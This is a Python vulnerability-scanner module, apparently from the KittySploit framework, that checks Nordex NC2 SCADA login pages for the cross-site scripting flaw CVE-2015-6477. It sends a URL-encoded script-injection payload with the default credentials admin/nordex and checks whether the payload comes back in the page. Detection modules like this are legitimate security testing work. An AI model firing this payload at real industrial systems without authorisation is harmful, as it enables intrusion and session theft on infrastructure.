Nordex NC2 - Cross-Site Scripting Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script ."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Nordex NC2 - Cross-Site Scripting Detection',
        'description': 'Nordex NC2 contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2015', 'nordex', 'nc2', 'seclists', 'packetstorm', 'xss', 'iot', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://seclists.org/fulldisclosure/2015/Dec/117',
            'https://ics-cert.us-cert.gov/advisories/ICSA-15-286-01',
            'https://nvd.nist.gov/vuln/detail/CVE-2015-6477',
            'http://packetstormsecurity.com/files/135068/Nordex-Control-2-NC2-SCADA-16-Cross-Site-Scripting.html',
        ],
        'cve': 'CVE-2015-6477',
    }

    def run(self):
        path = '/login'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='connection=basic&userName=admin%27%22%29%3B%7D%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&pw=nordex&language=en\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('</script><script>alert(document.domain)</script>', 'var detailParams',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='Nordex NC2 - Cross-Site Scripting detected', path=path)
            return True
        return False